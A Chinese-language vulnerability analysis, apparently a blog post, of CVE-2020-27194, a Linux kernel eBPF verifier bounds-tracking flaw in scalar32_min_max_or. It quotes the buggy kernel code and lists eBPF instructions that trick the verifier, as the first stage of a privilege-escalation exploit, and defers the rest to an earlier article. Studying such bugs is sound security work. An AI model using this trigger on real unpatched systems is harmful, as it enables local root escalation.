介绍
CVE-2020-27194 与 CVE-2020-8835 非常相似,都是位于 Linux 内核 eBPF 模块的漏洞,对其进行利用之后可以实现权限提升,可以通过对这个 commit 来对目标漏洞进行调试分析。
背景
eBPF 的基本概念已经在分析 CVE-2020-8835 有过介绍,这里介绍一下一些与之前不同的且与当前漏洞相关的地方。
之前提到,eBPF 使用 struct bpf_reg_state
结构体对寄存器的取值范围进行追踪。但是现在在该结构体中,为了支持 32-Bit 指令值的追踪,多了几个新的成员变量:
{
// ...
s32 s32_min_value; /* minimum possible (s32)value */
s32 s32_max_value; /* maximum possible (s32)value */
u32 u32_min_value; /* minimum possible (u32)value */
u32 u32_max_value; /* maximum possible (u32)value */
// ...
}
分别表示当前寄存器在存储 32-Bit 值的时候的范围。有趣的是,这几个值与 64-Bit 版本的几个值是可以相互保持独立的,即如果先试用 BPF_JMP32_IMM
指令控制了 s32_max_value
的值,然后再使用 BPF_JMP_IMM
指令控制 smax_value
,此时不会影响 s32_max_value
的值。
后续如果遇到使用 32-Bit 指令对寄存器进行操作,则会使用 32-Bit 的版本对其范围进行判断。
此外,在验证阶段,对寄存器的范围操作的函数 scalar_*
均加入了 32-Bit 版本的函数,以 scalar32_*
开头。
漏洞
CVE-2020-27194 存在于 OR 指令对应的 32-Bit 操作函数 scalar32_min_max_or
中。该函数的实现如下:
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
// ...
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;
dst_reg->s32_max_value = dst_reg->umax_value; // 漏洞位置
}
}
可以看到,在该函数中,直接将 64-Bit 的 dst_reg->umax_value
赋值给 dst_reg->s32_max_value
,而没有考虑溢出问题,那么如果 dst_reg->umax_value
的值为 0x100000001
,则 dst_reg->s32_max_value
的值会被赋值为 1
,这样就会使得验证器认为该寄存器的值在 32-Bit 情况下是确定的 1。
利用
利用的方式与上一个漏洞的分析一样,构建一个 eBPF 程序,并将其挂在 socket 中,使其在用户态程序通过 socket 进行通信时被调用。具体可以看之前这篇文章的分析。这里主要介绍一下对这个漏洞的触发的地方。
为了迷惑验证器,首先我们得构造一个寄存器的 64-Bit 值的范围,使得验证器认为 umin_value
为 1
,umax_value
的值为 0x100000001
。此外,由于该函数中的 if
判断,我们需要使得寄存器的 s32_min_value
的值大于等于 0
,因此我们需要使用 BPF_JMP32_IMM 指令单独对 32-Bit 值的范围进行设置。如下代码所示:
BPF_JMP32_IMM(BPF_JLE, BPF_REG_6, 0x7fffffff, 1), // r6(32) <= 0x7fffffff
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGE, BPF_REG_6, 1, 1), // r6 >= 1
BPF_EXIT_INSN(),
BPF_MOV64_IMM(BPF_REG_8, 1),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 1),
BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_8, 1), // r6(64) <= 0x100000001
BPF_EXIT_INSN(),
这样之后得到的该寄存器(r6
)对应的 struct bpf_reg_state
结构如下:

之后,我们需要触发内核调用 scalar32_min_max_or
函数,由下列代码可知,对寄存器使用 OR 操作之后,内核就会分别调用 OR 对应的 32-Bit 和 64-Bit 版本的函数:
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg) {
// ...
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
// ...
}
因此,我们只需要调用 BPF_OR 指令即可:
BPF_ALU64_IMM(BPF_OR, BPF_REG_6, 0),
// 调用 32-Bit 移动指令,将 r6 对应的 32-Bit 范围挪到 r5
// 此时验证器认为 r5 就是确定的 1
BPF_MOV32_REG(BPF_REG_5, BPF_REG_6),
BPF_OR 指令之后 struct bpf_reg_state
的值如下:

之后的利用就跟 CVE-2020-8835 的利用一致,不过有一些地址的偏移需要修改,可以通过调试来获得对应的偏移,最终可以利用成功:

参考
- CVE-2020-27194:Linux Kernel eBPF模块提权漏洞的分析与利用:https://cert.360.cn/report/detail?id=534ffa63f950368b6741a1781173b242